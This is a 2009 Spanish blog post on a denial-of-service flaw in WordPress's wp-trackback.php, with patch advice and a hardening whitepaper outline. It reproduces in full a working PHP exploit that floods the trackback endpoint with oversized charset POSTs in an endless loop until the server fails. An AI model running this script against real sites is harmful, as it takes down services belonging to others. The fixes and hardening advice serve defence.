20th
OCT
Fallo de seguridad en Wordpress
Publicado por ElPerro | Archivado en Seguridad, Vulnes
Hace apenas un par de días atrás José Carlos Norte notificaba acerca de un fallo en todas las versiones de Wordpress que permitía a un atacante ejecutar una rutina de denegación de servicios en los servidores que estén brindando alojamiento a un sitio desarrollado con Wordpress.
Dicho fallo radica en el archivo wp-trackback.php al no validar como corresponde la variable $charset y de esta manera permite el paso de peticiones del tipo POST especialmente diseñada con una cantidad indeterminada de parámetros, causando de esta manera el consumo masivo de recursos en el servidor afectado.
El exploit
El siguiente código nos permitirá saber si nuestro sitio web es o no vulnerable a tal cobarde ataque y de esa manera podremos proceder a realizar el patcheo correspondiente al bug.
//wordpress Resource exhaustion Exploit
//http://rooibo.wordpress.com/
//security@wordpress.org contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo “You need to specify a url to attack\n”;
exit;
}$url = $argv[1];
$data = parse_url($url);
if(count($data) < 2) { echo “The url should have http:// in front of it, and should be complete.\n”; exit; } if(count($data) == 2) { $path = ”; } else { $path = $data['path']; } $path = trim($path,’/’); $path .= ‘/wp-trackback.php’; if($path{0} != ‘/’) { $path = ‘/’.$path; } $b = “”; $b = str_pad($b,140000,’ABCEDFG’); $b = utf8_encode($b); $charset = “”; $charset = str_pad($charset,140000,”UTF-8,”); $str = ‘charset=’.urlencode($charset); $str .= ‘&url=www.example.com’; $str .= ‘&title=’.$b; $str .= ‘&blog_name=lol’; $str .= ‘&excerpt=lol’; $count = 0; while(1) { $fp = @fsockopen($data['host'],80); if(!$fp) { if($count > 0) {
echo “down!!!!\n”;
exit;
}
echo “unable to connect to: “.$data['host'].”\n”;
exit;
}fputs($fp, “POST $path HTTP/1.1\r\n”);
fputs($fp, “Host: “.$data['host'].”\r\n”);
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
fputs($fp, “Connection: close\r\n\r\n”);
fputs($fp, $str.”\r\n\r\n”);echo “hit!\n”;
$count++;
}?>
La solución
Hay tres maneras de evitar ser víctimas de este fallo. Una sería modificando el parámetro php_memory_limit del php.ini en la configuración de nuestro servidor y con esto evitaríamos que las aplicaciones que allí se ejecuten consuman solo los recursos que nosostros le dispongamos, la segunda es consultar si nuestro hosting posee mod_security, ya que filtraría los paquetes “malintencionados” o masivos y la tercera es simplemente, modificar el archivo wp-trackback.php
Nuevamente, José Carlos Norte nos brinda la solución:
La linea 45 del archivo wp-trackback.php: $charset = $_POST['charset'];
Debe ser reemplaza por el siguiente código:
$charset = str_replace(”,”,””,$_POST['charset']);
if(is_array($charset)) { exit; }
También podemos encontrar soluciones a diversos inconvenientes de seguridad en un “whitepaper” provisto por la gente de DragonJar.org en donde nos sugieren el uso de otro tipo de técnicas para mantener seguro nuestro blog como el WP-IDS, un mod para Wordpress modificado en el mismo paper.
El whitepaper de DragonJar abarca los siguientes temas
1. Introducción
2. Instalando Wordpress
2.1. Accediendo a las tablas de Wordpress
2.2. Cambiando el prefijo de las tablas
2.3. Antes de la instalación
2.4. Cambio manualmente
2.5. Através del cambiador de prefijos de Wordpress
3. Preparando el Blog
3.1. Cambiando el nombre de usuario “admin”
3.2. Creando un nuevo usuario con acceso limitado
4. Endureciendo la instalación de WP
4.1. Restringiendo wp-content y wp-includes
4.2. Restringiendo wp-admin
4.2.1. Bloquear todo excepto tu IP
4.3. Contraseña requerida – .htpasswd
4.3.1 El archivo .htaccess
4.3.2 El archivo .htpasswd
5. Plugins necesarios
5.1 WPIDS – Detector de intrusos
5.2 Wordpress Plugin Tracker – ¿Estas actualizado?
5.3 Wordpress Online Security ScannerNota: El documento se encuentra en inglés.
Vía | DragonJar.org | José Carlos Norte
Responder
Post Meta
-
Octubre 20, 2009 -
Seguridad, Vulnes -
Sin comentarios
-
Feed de comentarios -
Del.ico.us
-
Digg This
-
Twitter
-
Facebook
You need to log in to vote
The blog owner requires users to be logged in to be able to vote for this post.
Alternatively, if you do not have an account yet you can create one here.
Powered by Vote It Up





